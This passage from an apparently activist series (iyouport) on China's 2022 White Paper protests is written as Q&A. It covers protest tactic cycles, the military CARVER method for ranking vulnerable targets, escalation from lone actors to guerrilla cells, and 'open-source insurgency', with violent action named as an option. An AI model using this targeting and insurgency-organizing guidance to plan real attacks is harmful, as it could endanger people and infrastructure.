在边际效用递减的阶段寻找新的形式，确实是由在动机和资源方面异质的人群中的同一批特别执着的人才能实现的。每当曲线变得过于平坦时—— 因而对大多数潜在参与者来说相当无利可图时（上面图中的红圈区域），就需要有人推动这一进程，而这必需是特别积极的人的工作 —— 资深活动家。

现在白纸行动已经在这个阶段了。异议人士中的代际断层可能导致严重影响。

当然，每一次推动都会向着未知的方向飞跃。这支先锋队可能无法实现预期目标，可能转向，可能会失败。这都在意料之中。

虽然几乎可以肯定地预测到战术成功后边际效用的消退，但要预测在最初一段微弱的回报背后是否会有加速的增长，将是很困难的。专业性、天赋和运气，都在起作用。

- 在此，非常推荐行动者深入理解这篇文章的用意《打破得意和绝望的循环—大卫·格雷伯：胜利的冲击》

5、阈值模型、异质性人群、和临界质量

「图」

如上，这都有点让人想起格兰诺维特的阈值模型。参与门槛在人群中的分布是不均匀的。只有在抗议的有效性（和/或风险）值不低于（/不高于）某个值的情况下，大家才同意参与—— 否则要么被认为太可怕，要么被感觉没有动力。

而我们现在有一个抗议效用（风险）值的分布，它随着新的行动而变化。民众参与抗议活动的内部动力可能导致连带效应（然后抗议活动获胜），或者，导致抗议活动停滞的“瓶颈”（这就是白纸运动现在需要警惕的）。一旦发生了这种情况，就不会有任何改变，除非有来自外部的神奇干预，有一只无形的手来调整行为者的参与门槛或行动的数量。

这种“外部干预”的功能就是先锋队所执行的—— 它必须能重新变成起点，使进程由自己的力量来启动。

如果积极人士不能使门槛的分布更加平滑，使每个新的抗议者的行动都能吸引下一个门槛更高的抗议者，那么“先锋队”就会失败—— 例如，积极人士未能穿越边际效用增加的曲线的初始阶段，或者发现效用函数整体上并不是他们想象的那样，而且过于平坦。

下面我来举一个现实世界的例子，可以更详细地看一下边际效用的不同变化模式。

6、S型效用曲线和实例

「图」

我们来看一个例子。白俄罗斯抗议活动中维稳部队的快闪，他们拒绝对独裁者效忠。以下根据记忆来描述这个故事。

当第一位前维稳警官决定放弃官职录制一段视频以支持抗议活动时，他并不知道抗议活动会如何结束。当局会把他抓起来吗？也许他们正在计划一场攻击？观众会注意到这个视频吗？也许抗议者会谴责他，然后他会被陷入两面夹击的火力（在统治者与抗议者之间里外不是

人）？…… 这个人当时并不知道该战术的有效性将是怎样的。这可能令人沮丧，但同时也是最具诱惑力的。

第一个行动就是该战术回报的第一个例子。一些确定性出现了：是的，观众热烈欢迎这种形式—— 权力支柱背叛了他的主人，这是伟大的；是的，没有严厉的惩罚。第一个拒绝向暴君效忠的人赢得了一定的结果，并为这一做法设定了一个起点。但到目前为止尚不清楚接下来的类似行动会增加多少收益—— 这就是在那一时刻模仿者的想法。

不出所料，开始有几个人跟随先驱者的步伐了。事实证明，新的行动确实有一个额外的成效。上面曲线的第一个红圈部分开始了。但仍然是最困难的部分。每一次接力行动的成效都会增加，因为它增加了受众的范围和安全感。但一开始它的增长速度是很慢的。在消息从狭小的活动家群体中传出来、到中立的媒体，再到被抹黑曲解之前，活动家有一些工作要做。一次又一次地引起媒体的注意。携带着剩余的不确定性和增加的风险。

有这样一种东西叫“媒体关注周期”。也就是说，在第一条新闻已经发生的地方，同一消息的下一个事件几乎自动跟上。每一次连续行动都会聚集所有的注意力。艰难的红线部分逐渐变成了向上攀升的成效曲线。此外，主观风险也在下降。虽然政府的反应行为很单调，但不确定性会随着新行动的出现而减少，每个人的风险份额也会随着新加入者而减少。这个时期是最容易参与快闪活动的时期，参与的回报也最大，于是会有爆发式的增长。

然后，曲线的上升再次开始放缓。发生这种情况是因为快闪行动已经变成了习惯性的东西。它完成了它的象征性作用，并使以前无法想象的事情成为现实。现在，抗议者和维稳部队都知道：维稳部队的人也可以加入抗议活动；就如在中国，人们知道只要表达不同意就有可能得到“解封”（哪怕只是暂时的）。

好的，但接下来呢？

起初它令人陶醉，而现在，这只是一个已知的事实。

在此，这个信息本身并没有带来胜利；胜利需要更多的东西。新加入的行动者带来的影响会越来越小，发生的次数也就越来越少。

现在您明白这个规律了。

📌 综上，以下是对活动家有用的几点建议。

「图」

1、关于评估：对于个别行动来说，绝对成本/效用比更重要；对于一系列的行动来说，曲线的形状更重要。边际效用的不同功能最终决定了集体行为的性质—— 它是会扩大，还是会减弱。不同的收益变化模式给活动家带来了若干挑战。

2、关于调试：活动家需要不断地进行分析和决策—— 当一个新的战术没有能引起预期中的连锁反应时，是应该坚持下去呢，还是应该选择另一个？

如果新的战术没有立即产生压倒性的效果，那么抗议者就遇到了第一个问题领域。最初，您无法知道效用曲线接下来会如何发展。也许是在起飞前的艰难拉伸，也或许只是一连串荒芜的开端。在这里，有积极性的活动家的“先锋队”必须做出选择：要么押注于这是一个有前途的递增函数，甚至有可能实现爆发式增长，然后，人们应该通过简单地积累越来越多的行动来坚持渡过这段困难时期；或者，假设曲线永远不会上升到足以引起连锁反应的程度，不会抵达实现变革的程度。那么就必须放弃当前的战术，重新塑造自己。

别怕，需要彻底重塑的情况在战术开发困境中不是常见的。通常情况下，第一个本地结果就能给该战术的有效性一个明确的提示。虽然许多获胜的战术并不会立即为人所知，但它们通常具有当地可接受的结果。之后，活动家们就会寻找方法来扩大这一成果。只需在新的环境中重复或稍作修改。

这就是为什么我们说“没有绝对狭隘”的战略，只有深度的不同——只要对手妥协一点点，哪怕是假装的，就可以利用这点快速深化，扩大成效。取决于行动者的敏锐。

3、虽然第一段红圈区域的结果是不可预测的，但几乎可以肯定地预测在波浪后期将出现的第二段红圈区域。到那时，最积极的抗议者的行动也只会减少其他人行动的可能性。

届时，只有创造力能取胜。

4、活动家的第二选择：升级/创新。衡量维持（或升级）战术的成本，或发明一个新的战术。

当每一个新的行动使下一个行动对潜在的参与者来说越来越无利可图时，抗议者就达到了该过程的第二个困难阶段。先锋队可以找到额外的内部资源，并支付越来越多的成本来维持战术。比如破坏性越来越大的行动。但问题是，其他人的参与变得越来越困难了，而且可能性越来越低，这一决定将延长抗议的时间，但同时会减少级联的机会。或者，先锋队可以尝试创造性的方法，努力寻找新的抗议策略，希望它们能带来急剧上升的效用。这与曲线的第一部分的选择基本相同，但情况不同。如果活动家选择了新的战术，火种得以延续，同时他们也将再次面对第一阶段的状态。

这就是关于抗议的非线性边际收益。当然您也可以使用其他方式来讨论同样的问题，所有这些讨论都非常重要。有时，一种新的表述方式比具体的结论更重要。

能够把抗议活动看作是一个复杂的动态系统，将不仅能方便您调整具体的战术，而且能帮您看到全局，从而更好地进行规划、更好地创造新的方法；把个人经验放在一个具有反直觉行为的巨大环境中。

这些议题的讨论都类似于模拟合作，零风险，并对真正的实战合作非常有帮助。您可以在亲密团队中/在信任的朋友中探讨。

这部分同样是中国积极人士社区中相对缺乏的。

之后才能谈论实践。

Q：该怎么选择战术或者目标呢？

iyp：如果您要选择新的战术/目标，有一个简单的分析工具。

……

📱 预告下集话题：

「图」

> 如何才能挑选出最佳反抗策略？反抗者的智慧体现在哪里？

中国，2022年接近结束时的样子。

□□

—— 未完待续 ——

原文

年终礼：在白纸上绘制未来(第3集) - 要与统治者竞争智商，而不是与公众 - iyouport

在白纸之上

如何通过评估挑选出最佳策略？战术智慧体现在哪里？为什么某些人倾向于鄙视人民？思考社会时如何避免最常见的错误？是否可以将独行侠的力量汇聚起来？反抗者如何从暴政中识别时机？

欢迎回来！这里是第3集。

如果您错过了前面的内容，可以在下面看到：

- 《年终礼：在白纸上绘制未来 (第1集)—我们"伊朗了"吗？》
- 《年终礼：在白纸上绘制未来(第2集)—火炬已点燃，之后呢？》

Q：我看到一些人只是在发起投票询问大家愿意采取哪种方法抗议，在截然不同的价值观下，这种投票结果基本没有任何参考价值 …… 现在就是各种吵架，永远有人跟你说不要太激进，别惹恼了警察，就好像警察会因为你温文尔雅就不抓你了一样，或者告诉你把口号刷在厕所里没有用，等等 …… IYP总是说创造力，战术智慧，那究竟该怎么选择战术才能是 "智慧" 的？

iyp：如果您想要战术/目标更恰当和更高效，有一个简单的分析工具可以帮您。

方法是，根据6个关键参数来评估一个战术/目标的前景（价值几何），这些参数在一个表格中给出。对于每个参数，目标都有对应一定数量的分数，把它们加在一起，您就得到了该目标的总值。然后就可以比较不同目标的总值，选择最好的那一个。

非常简单，并且这也是一个很好的锻炼，以帮助您养成评估的有益习惯。

一个小团体也能使一个国家瘫痪吗？ 是的，可以——
— 通过对结构中最脆弱的节点进行打击。

在沙漠风暴行动中，美国特种部队准备摧毁伊拉克的防空系统。为此，他们在规划阶段将大系统分割成各个组成部分，并使用CARVER分析工具，确定了最脆弱的目标：一个小型通信掩体网络。对这一目标的精确打击可以使整个系统瘫痪，因为它破坏了雷达装置和导弹之间的连接。

这就是**CARVER**方法。它也适用于和平抗议活动（尽管形式会略有改变）。

您需要的是：一份目标清单，一个CARVER矩阵，目标值表。

CARVER 是：

Criticality 关键性—— 衡量一个对象节点有多关键（对实现战略来说）。需要识别关键系统、单点故障（SPoF）或瓶颈（咽喉点）。

Accessibility 可及性—— 确定入侵/进攻目标的关键系统、进程或资源的难度。

Recuperability 可恢复性—— 确定目标从攻击中恢复所需的时间和成本。

Vulnerability 脆弱性—— 确定目标的防御工事与攻击者的技能或资源之间的差距。

Effect 效果—— 一项行动本身和对手的反应带来的有利或不利影响的强度和规模。

Recognizability 可识别性—— 评估目标容易被发现的机会，而不会将其与其他东西混淆。

👌 以下是需要做的事：

1. 列出可能成为您的活动目标的子系统和对象的清单。

2. 将这些对象写进CARVER矩阵。

3. 计算出每个对象在CARVER量表上的数值，并将其写在CARVER矩阵中的 “对象” 列与字母 “C”、“A” 等的交叉点上。

4. 将每个对象的所有列的值相加写在“总值”一栏。

5. 比较不同对象的总值。

总值最高的对象是最有希望成功的目标。

「图」

那么如何拟定一个目标清单呢？首先，您需要找到一个寻找目标的工具。以下只列举，不再逐一介绍，如果您感兴趣，可以通过搜索自行研究。

1. 重心(COG) 的概念。

2. 对战空间的各种分层模型。这些基本上只是不同系统的清单：地理空间、物理基础设施、信息和逻辑空间、文化认同、人员网络、生产和金融网络。

3. 权力和合法性的社会学理论；“支柱”（Pillars of Support）；福柯的权力“微观物理学”。

然后，在所选择的框架内描述的系统应该被分解成各个环节、对象、流程。

目标清单就准备好了。

CARVER是一个分析工具，可以帮助您更有效地识别目标。

使用它，在您的社区、团队中进行讨论，0风险提升实战技能的好方法。

如果您和队友在线讨论，有一些比较安全的白板服务可以使用：

- 比如 cryptpad，这是一个很容易的协作工具。它有富文本、表格、任务看板、白板、工作表、幻灯片等功能。有很多实例可选，大多在欧洲。您可以设置语言为繁体中文（没有简体字版）。
- 再比如 ethercalc 是同样的工具，您的队友们可以同时编辑同一份表格。开源。
- 还有 Sticky Studio，交互式白板，可用于讨论复杂话题。可导出结果。

流传在中国网络上的漫画……

Q：交流的难度很大，可能超出你们想象力了。自由派精英主义者们只会谴责民众，中国人不行，社会不行，老百姓不行，劣根性，奴才命，言之凿凿，跟算命先生一样。几个小新闻就能让他们对整个社会、甚至种族下定论。二十年前这群人还曾经嘲笑成龙说的 〝中国人需要被管着〞，和 〝中国人不适合民主〞，现在他们用同一套方法把暴政的延续归因在暴政受害者身上。可惜我不知道该如何反驳他们，但以偏概全明显很傻啊。

iyp：有可能源于思考社会的方式的错误。不得不说，这种错误相当普遍。

存在两种思考社会的方式。一种是使用机械性的线性模型—— 它相信行动总是直接实现目标、效率取决于努力、所有机构都履行合理的职能、一个团体的既定目标就能完全解释其行动 …… 等等，等等。在这种模型下的社会就像发条一样。这种方法也是现代社会观的特征。如今在足够广泛的圈子里它仍然是主流。

另一种是使用系统的、控制论的、网络的模型。它们发展于20世纪中叶到21世纪初，在理论上已经比较成熟，但还没有成为大多数人的常识，没有进入日常的世界观模式。这一过渡才刚刚开始。

第二种模型在建模的准确性方面具有毋庸置疑的优势。要推动这一过渡，意味着今天人们需要更多了解的是社会的日常层面：

1、这是一个复杂的系统。而且它具有复杂系统的所有漂亮的小特征—— 波动、非线性过程、可预测性差。可以被巧妙地和战略性地使用。

2、我们的感知和本能适应于与小范围内的人互动，最多大概150人。重要的是要知道，小社会可能在体现大社会的特征，但是，一个大社会并不能复制小社区的所有属性。

那些在小团体中有助于评估情况的习惯和判断，到了大团体中就只会欺骗你。使用愤怒、同情、禁止或支持的愿景来描述大社会就像跟一颗人形萝卜对话。以偏概全是由个体行为引发的对集体的幻觉。那些小新闻、奇闻怪事，简单说，猎奇作为新闻价值的职业媒体加强了这类幻觉。

拟人化是一种误导—— 不能简单的将个人的特征归于社会。大社会

的行为绝不会明显。

3、在一个大的社会中，经常会有非线性的关系存在，这是发条爱好者们（如自由派和成龙）拒绝理解的事。

这意味着同样的行动，在不同的规模上，可能造成截然不同的影响。例如，消灭恐怖分子的成功行动在某种程度上增加了恐怖分子的数量；想要隐瞒一个消息的行为反而让该消息广为人知了；所谓的反腐只会越反越腐；开放很可能让人们更愿意自觉讲卫生并做好防护，而严酷的封锁反而增加了感染数量 ..... 等等，如今越来越多的人已经明白，合法化很可能会减少风险，而禁止只会使情况变得更糟。

发条逻辑的爱好者很难理解这是如何做到的，这也是为什么没有接受过系统理论或控制论训练的政客们会一次又一次地犯类似的错误。

4、预测的复杂性意味着对简单的任务（如购物清单、机器零件绘图）来说效果很好的传统规划会在复杂问题方面失灵。当与社会打交道时，要记得，为实现某些目标而做出的决定（以及这个最终目标的实际效果）是好是坏，事先不可能知道。在实际结果出来之前，坚持强烈的信念是很傻的；要意识到任何信念都含有错误的可能性；应该学会分散风险。

5、有机体的隐喻比机械的隐喻更适合用来描述社会。没有什么是整体的、不变的，一切都在变化之中。要想识别关键结构并以高度的概率预测大群体的行为是非常困难的。

社会更像是一个类似真菌的有机体，而不是一个建筑物。

Q；有些时候真的会给人这种感觉，大众比较蠢，很自私，人血馒头，拿别人的苦难赚流量。不是精英主义者那种对大众的鄙视，更多是担忧，害怕〝我一个人站起来反抗时没人支持我，我被抓走时可能就没人真正能帮我〞..... 然后就拼命唤醒身边人，转发消息，帮人翻墙看真相。一直以来都假设这是最有效的行动，但后来逐渐感觉到也不过如此，即便翻了墙的，该傻的还傻，原本他们不关心的东西依然无法让他们关心 ..... 很沮丧啊，你们总是说团结，我也很理解，但就是感觉很不容易，即便站在一起的一群人也是各执一词 ..... 该怎么办？

iyp：“唤醒”、“觉醒”这类描述有点令人困惑，它在假设有那么一条线，在其这一侧是一无所知的，而另一侧就是茅塞顿开的。这用来描述个人都会很牵强；对于群体来说，事实上的状况会非常复杂。更普

遍的状况可以说是，人们只是曾经别无选择，而不是一窍不通。

大众肯定只关心与自己的切身利益直接相关的事，这无可厚非。你我同样如此，否则想想看，地下室里乌克兰儿童的安危对您来说的紧迫性和明天就买不到新鲜蔬菜了相比，哪个更高？我们可以诚实一点。

最重要的是，责怪人民只会让统治者获益。分化、边缘化、孤立化异议人士，一直都是最有力的镇压武器之一，与此同时统治者用经济利益的胡萝卜和暴力铁拳的大棒并用，诱骗和威胁民众的支持和顺从；反对派的根本性战略始终应该包括与当权者竞争民众的支持度——以爱为武器战胜支配性文化，赢得比胡萝卜大棒更多的东西。

反抗者应该擅长利用局势。因为局势中总是埋藏着机遇。换句话说反抗者应看到更深刻的部分，而非表面上的“支持还是反对”。

以清零政策为例。

曾经一直以来，网格化维稳和无处不在的跟踪监视在很大程度上是隐形的，并且只针对异议，尤其是那些一直被边缘化的、在重点稳控名单上的人。现在，同一套统治暴力基础设施被用于以防疫为名针对所有人，接近无差别暴力—— 将阳性检测结果视为敌人，用红码作为武器，可以说是统治者亲手打破了阶级、意识形态、代际、性别、种族等这些系统制作来分化人民以便随时各个击破的标签，特权被降至最低，绝大多数人随时会变成阳性“公敌”。换句话说，是统治暴力把人民团结起来了。

这本应是反抗者的天时地利。

异议人士的角色意识可能需要他们在某种程度上突出智商优越性，其方法就是假设其他人都对统治暴力无感，这不仅没有必要，并且有害；社交媒体的影响力经济所制造的竞争环境也在激化人们彼此间的鄙视，以鄙视带来的优越感为“奖品”。

所有这些都是反抗者的障碍。应该警惕。

镇压期间社交媒体上爆发的那些完全无意义的纠纷非常可疑。即便它们不是被操纵来削弱白纸行动本身的烟雾，它们也起到了同样的作用。如本系列上一集所指出的，在当前的局势下，新老异议人士的代际撕裂是最强有力的维稳手段。

团结不仅是安全性的重要基础 —— 没有任何人能独自实现安全；团结也是对抗镇压的重要方法 —— 镇压者首先必须分化、拆散人群，

才能各个击破。

尤其是，团结本身就是战术智慧，因为统治者永远不可能逮捕所有人，这意味着活动家必需选择那种与多数人的利益直接相关的议题发起行动。故，再一次，清零政策是一个提供给活动家的绝佳机会。

> 要想集结到足够规模的抗议活动，您的议题就必须是足够多的大众面对的共同问题。组织者必须将此作为战略策划中的首要事项。

应该致力于在和平时期建立更广泛的团结，而不是用最具争议的话题引发辩论而不断趋向孤立。这至关重要。群众抗议活动通常需要由多个运动组成，它们为了共同的事业而联合起来。在抗议活动的高峰期，很难在这些运动之间建立基于信任的关系；相反，应该在紧张局势较低的和平时期建立关系。人心是重要的基础设施。

例如，2011年智利的学生抗议活动在很大程度上是成功的，因为他们把来自不同大学的学生运动聚集在一起，而不考虑这些运动的政治派别。2015年和2016年的南非 #FeesMustFall 学生抗议活动也是如此。成功之所以可能，是因为在不太活跃的时候，学生运动在采矿危机期间提供人道主义援助和援助保洁工人时，各运动之间已经建立了充分的关系。在这些合作中建立的信任关系被带到了最终的学生抗议活动中。

Q：利用局势就是战术智慧吗？

iyp：是的。一部分。并且，您还可以创造局势。因为镇压/社会控制/统治暴力在很多程度上是线性的，这意味着您可以使用一些巧妙的方法吸引其主动导向对反抗者有利用价值的局势 ……

Q：到处都是孤独的人，行动者更是孤独，他们只能在社交媒体上用标签把自己留下的痕迹串联起来。我不知道这些零散的行动究竟能有多大的作用，很多行动距离权力中心十万八千里，网格维稳却近在眼前 …… 怎么说呢，就是感觉力量很微弱。现在镇压正在全面开启，行动只会越来越少 …… 是否有可能把力量汇聚起来呢？

iyp：是的，有可能，从零散的独行侠发展为发达的游击队。

要解释它是如何实现的，可以使用一个很容易记住的形象来描述它——那就是，结晶。

当盐溶液饱和时，结晶就会开始生长。

一开始，在多个点上，一个接一个地出现了几乎看不见的晶体；继而在已经发生的地方，它们继续增长。

在某些时候，不同的领域可能会发生碰撞，合并，成为一个更大的领域/晶体。

独行侠指的是独自一人的行动，也包括很小的团体行动（比如没有任何组织背景的亲密团队）；开放战线游击队指的是可以完全在局部区域内进行游击战的诸多分队的联合）。

从独行侠进化到游击队将分为几个过渡阶段。美国军方有一个概念被称为“油斑”，指的是当对小面积领土的控制逐渐扩大时，新的据点就会出现，随着时间的推移，小的据点会合并。这个动态就像浮在水面上的油斑。

这是一个渐进的过程。在每个阶段都有不同的驱动力。在每个阶段都有一个最佳的行为形式。敏锐度过低而导致慢半拍行动类型可能是危险的。

👌 如果您对此感兴趣，有一些小原理您应该了解：

1、焦点效应 Foquismo。切格瓦拉用过：通过小团体的相当浮夸的行动为其他人树立一个榜样，将政权的软弱无能突出化。一个不可战胜的、无所不包的国家形象将由此出现裂缝。进击的实现越成功，在心理上就越容易让其他人加入行动。

2、紧张局势上升。公民反击越成功—— 国家就会越收紧螺丝；政权的反应就越是歇斯底里；经济形势就越糟糕。

国家不分青红皂白的镇压行动的受害者和穷人们会涌入各种非法活动，包括游击队活动。

不幸的是，不断加剧的紧张局势不仅对国家和政权不利，同时在社会、甚至在游击队本身中，都在破坏民主，强化专制的倾向。

在意大利政治恐怖主义的铅色年代，一些行动团体在所谓的“紧张战略”中故意利用这种效果。

萨帕塔发言人副司令马科斯以这种方式构建了他们的后现代格瓦拉，以避免紧张局势的影响。

3、抵抗组织的最佳组织形式会随着国家的衰弱和攻击的增加而改

变。

这里有一个两难的问题：组织想要的效用越高，组织本身就会越脆弱。只要国家有足够大量的资源来施行镇压，小规模的自治团体和机动攻击就是最佳选择。

最重要的是要生存下来，接力火种，并表明有可能不断削弱国家的实力并且不容易被抓住。

作为常态，防守-进攻的平衡更趋紧于“防守”；在当国家力量明显减弱的时候，平衡就会逐渐转向“进攻”。原本是个别的独立的群体之间开始更多出现联系，而且数量增加。

4、抵抗运动的支持网络将在国外形成。

国外的组织部分是20世纪几乎所有地下组织发展的常规部分。此处的逻辑在21世纪并没有变化—— 在冲突地区的组织要么受到维稳措施的严格限制，要么很容易受到伤害。将其带出国界，可以稍微缓解维稳措施，并提高地下协调的效率。

即，一个更开放的、并且也更紧密的网络。

这就是我们讲述叙利亚小酒馆的故事的用意（如果您错过了《与流亡组织对话：政治避难者如何在异国他乡继续奋斗》）。

但请注意，统治者很可能对境外侨民的重视程度远高于对本土公民，普京就是这样做的，加之跨国维稳仍然在某些程度上无障碍，故而，移民人口应该更多警惕而不是相反。

大致的流程就是这样的：专业性强的孤独者进行有效的攻击（对公众来说有可见的效用）；其中一些独行侠可能被逮捕，但绝大多数人都将从中获得经验并决定扩大行动。其中一些人将会失败；更多人将会找到战友。多次行动后，那些久经考验的团体将开始为联合行动进行接触。游击队组织将从此开始发展。

Q：那么按照这一逻辑，最大范围的团结应该能带来最强大的起义？强大到无法被镇压 …… 这是可能的吗？无法被镇压的起义？

iyp：是的，可能。一种极难被镇压的起义。它就在现实中存在。

📱 预告下集话题：

「图」

> 如何实现一种极难被镇压的起义？如何最大程度组合可借助的力量？如何理解中国当前的反封锁行动？

□□

—— 未完待续 ——

原文

年终礼：在白纸上绘制未来(第4集) - 是的，有一种很难被镇压的起义 - iyouport

在白纸之上

担心难以动员到其他人加入？太容易被镇压打散？..... 如何实现一种极难被镇压的起义？如何最大程度组合可借助的力量？

“境外敌对势力” 是一个多么愚蠢的概念呢？起义是没有国界的。无 “境” 。

欢迎回来！这里是第4集。

如果您错过了前面的内容，可以在下面看到：

- 《年终礼：在白纸上绘制未来 (第1集)—我们”伊朗了”吗？》
- 《年终礼：在白纸上绘制未来(第2集)—火炬已点燃，之后呢？》
- 《年终礼：在白纸上绘制未来(第3集)—要与统治者竞争智商，而不是与公众》

【

Q：这次人还是太少了吧，可我们没有这么多人啊 ..... 有能力的和勇敢的人总是太少怎么办？有没有什么办法可以让更多人加入反抗行动？最好是不用说服其他人的那种方法，说服的效果太差了 ..... 镇压一开始很多人就被吓跑了，形成组织的难度非常大，有没有能抗镇压的组织方法？

iyp：有。有一种组织起义的形式极难被镇压，并且不需要那么多人。

这种组织形式启动于20世纪末和21世纪初，通信技术的快速发展让个人和小团体获得了超级权力—— 个人使用快速发展的技术工具完成任务的能力和接入全球网络的能力获得猛增。这使小团体能够从根本

上提高他们在冲突中的效用。

并不是很多人所理解的社交媒体传播和动员。它被称为开源起义。这是我们的行动教程中没有详细介绍过的。

开源起义是技术飞跃和全球化的副产品。它是一种组织大量具有高超能力的小团体的方法，这些小团体联合起来打败一个更大的对手（通常是那种被常规起义视为极高难度的对手）。

我会尝试从各方面进行说明，也对比中国的白纸行动。

开源起义的主要特点包括；

「图」

1、它没有一个正式的结构。

「图」

开源起义与传统的游击战不同，它没有明确的重心—— 也就是说，它没有统一的意识形态、没有等级领导或组织结构，这些曾经是20世纪实践的典型特征，现在它们正在逐渐过时。

白纸抗议行动中我们也看到一些评论在纠结于意识形态定位，为集中化还是无中心分散化的运作模式而争论，其实这些都不重要。唯一值得警惕的是任何对革命的阻力（就如企业媒体对伊朗起义所做的那样；以及借助纠纷制造的任何干扰和操纵）。

对于开源起义来说，只需要满足一个能够“点燃”参与者的承诺 ……

2、一个可信的承诺。

「图」

对一个似乎可以实际实现的目标的共同愿景，并在一个项目中汇集起来。

比如，一种没有霸权的生活，在霸权控制的系统中存活下来。以及任何“统治阶级并非坚不可摧”、“我们可以做到”的证明和示范。

3、广泛的参与者。

「图」

从字面上看，“开源” 指的是任何人都可以加入。在一场开源起义中，参与其中的游击队员并不属于某个单一的团体，而是属于几十个不同的团体，每个团体都有自己的参与动机。

一个开源运动能够出现的规模远超过一个单一的集会、意识形态或政党的规模。支持起义的宏观过程只能出现在不同意识形态群体的交界处。

加入其中的人是因为他们受到了某种影响。

4、是以示范的力量实现动员的，而不是以意识形态实现动员。

「图」

被复制和传播的是政治逻辑，而不是政治声明。这就是为什么（结构性）无政府主义能突然成为数十万人的避风港—— 跨越整个意识形态光谱；他们并不表达无政府主义思想，而是通过跟随说明性的示范来体现这些思想。

不论是暴力还是非暴力行动都适用。

开源起义往往是由一小群发起人激发的，用游击队的行话说就是 Foquismo “焦点”。Foquismo 为开源起义的其他参与者建立了一个 “可信的承诺”：制定一个有吸引力的目标，并开展行动，表明这个目标可以实现。

可信的承诺包括：

「图」

1、明确的敌人形象—— 敌人作为进击的目标。敌人可以是任何掌握和执行权力的团体：占领者、政府、公司、民族主义团体或有组织犯罪团体。

2、简单的目的—— 目标激励着组织。开源起义中最典型的特征就是参与其中的团体和个人的多样性，因此只有制定简单和基本的目标才能发挥作用。

太过详细的目标只会缩小开源起义的预期参与者群体，并引发项目的

分叉/分裂。

目标应该足够宽泛，每个人都可以根据自己的需要来解释它。

不满和反叛的理由永远不会消失—— 但它们可以迅速转变。

一个好的共同目的使参与者们能够在其之上体现自身、得以繁荣、即便被打压也会不断萌生。

3、示范—— 示范是这里最重要的部分，使其他人可以相信这一形式的可行性。

用示范来表明击败对手是可能的—— 它们破坏了对手可能拥有的无敌光环，并激起了其他参与者模仿的欲望。

Foquismo 的最佳规模是五个人（所谓的 “五人法则”）。更具体地说，一个群组可以包括任意数量的松散的成员，但在核心部分应该有大约五位活跃的成员，彼此间具有强大的交叉联系。

需要注意的是，参与者人数越少，项目就无法有效组织，参与者人数越多，就更容易因渠道（和人员）过载而导致危机—— 随着团体的发展，成员对团体的疏导要求也会增加。在某些时候，它将开始消耗过多的能量。如果仅以弱关系为代价来扩大人脉圈，则可以避免这种情况。此外，弱关系也更容易保持匿名/安全。过多的强关系成员会增加群体的风险。

并非每一个想成为“焦点”的团体都会成为“焦点”。必须有一种竞争和方法的演变，其中大多数游击团队会 “精疲力尽” 或保持在平均水平，而只有少数群体能够创造焦点效应。

但另一方面，加入一个现有的开源起义就很容易了：遵循一个共同的目标，复制成功的方法。恰当地修改它们以尝试创新。

开源起义没有正式的教义。他们的战术和方法（冲突的源代码）通常是由参与者一个一个片段地创造出来的。这也是为什么他们被称为 “开源”。

一段有战术创新的代码要想被收录到冲突的公开代码中，它必须具备三个属性：

1、它必须能促进一个合理的反叛承诺。

2、它必须在实践中显示出可操作性。

3、其他行动者必须了解它（来源包括从新闻发布到移动通信或社交媒体等等），以便他们能够复制它。

您也可以共享代码。任何人都可以。在任何时候。只要能满足上述3个属性。

优势和劣势

「图」

以下是开源起义的一些特点；

- 高水平的创新
- 可提高参与群体的生存能力
- 更频繁的攻击和对目标的群攻能力

这种组织模式一旦获得临界质量，其优势不胜枚举；其中最主要的是，一旦开源起义达到了自我复制，它几乎不可能被消灭。不过坏消息是，开源起义很难启动—— 即：克服接受其他团体合作的鸿沟，并达到临界质量，并不容易。

但似乎有些团体已经成功地掌握了一种算法，即：如何在开源起义中更简单地获得临界质量。它改编了焦点的概念。

这只是开启开源起义的一种方法—— 随着时间的推移，肯定会出现更好的技术。

根据此算法，以下是开源起义应经历的步骤：

「图」

1、 拟定一个合理的承诺。

「图」

关键是要找到一个想法（例如：驱逐占领者、或迫使政府放弃对一个地区的密集开发、或解除网络审查封锁等等）。一旦确定了这个想法，就需要把它变成一个合理的承诺。这可以通过对一个选定的目标进行成功的攻击来实现—— 如何选择恰当的目标见上一集中的介

绍。如果做得正确，您的行动将证明目标是脆弱的，并且可以赢得战斗。即，树立一个 “焦点”。

2、跨越鸿沟。

「图」

从 “焦点” 转向持续运动的关键在于：采取开源行为—— 即 需要涉及到与那些愿意参与其中、但与最初的焦点行动群体没有共同动机或没有忠诚度的群体进行分享、交涉、合作和协调。

也就是团结。团结那些原本可能不愿意被团结的人群。这是一个非常困难的步骤，特别是对专制倾向的和/或等机制的团体而言。但是，只要您做到了，接受度就会非常快地扩散。开源就能确立下来了。

3、实现自我复制。

「图」

最后一步就是可持续性问题了。当对焦点行动的复制成为运动运作的自然副产品时，开源起义的生命就出现了。就如匿名者那样的无国界游击队，已经实现自我复制，但绝不会像国家间战争那样以牺牲平民为策略，那是不可接受的。正义原则是维护健康发展的关键。

实现自我复制就是实现了自动接力火种，常规的镇压手段都无法扑灭革命的火种。

剩下的只有定位系统中最脆弱位置的准确性问题了。准确性程度决定了边际效用。您的对手会努力干扰您的判断，这也是一个精彩的斗智游戏。

足够数量的参与者能够赋予运动一种新兴的智慧，它将在没有任何中央团体控制的情况下进行创新和规划（开放式决策）。参与者的随机互动将可以提供多样化的形式，引发方法的进化过程（方法的变化＋通过模仿的复制＋随机应变的灵活性）。

在每一个新的活动周期中，运动策略都会通过测试和复制得到改进。由于新的技术条件，进攻的质量可以非常迅速地增长—— 在冲突开始的几周内就有明显的转变。

下面是如何人为地加快进化速度：

「图」

1、寻求新的组合性方法：战术创新的头脑风暴。

如果行动过于复杂—— 考虑如何简化执行；如果风险过高，你可以改变目标；如果它不够吸引人们的眼球，那就把它变得更壮观；如果它扩散效果不佳，就给它点“多巴胺强化”。

在随机力量的影响下，进化常常是盲目发生的。行动者的任务是有意识地加速它。在抗议策略配方中寻找小的变化或大的跳跃，这将可以显著提高效率。

2、改变一套既定的目标（见第3集中的CARVER方法）。

3、鼓励多样性和新团体的出现，这将引发激励和促进知识共享。

成败取决于正确的选择，每一种创新的战术都可以激发潜在参与者（不只有进攻战术，也包括其他类型的活动，如创建有效的横向社区的战术）。好消息是，你在第一阶段不必担心所选择的战术在最后阶段是否有效，因为到那时，将需要对方法进行新的检修—— 即使已经存在或多或少的成功手段，也必须不断进行创新。引发对方法的重新选择比模仿单一方法更重要。

重要的是要知道，要发起开源起义，创始团队必须遵循简单的规则：

「图」

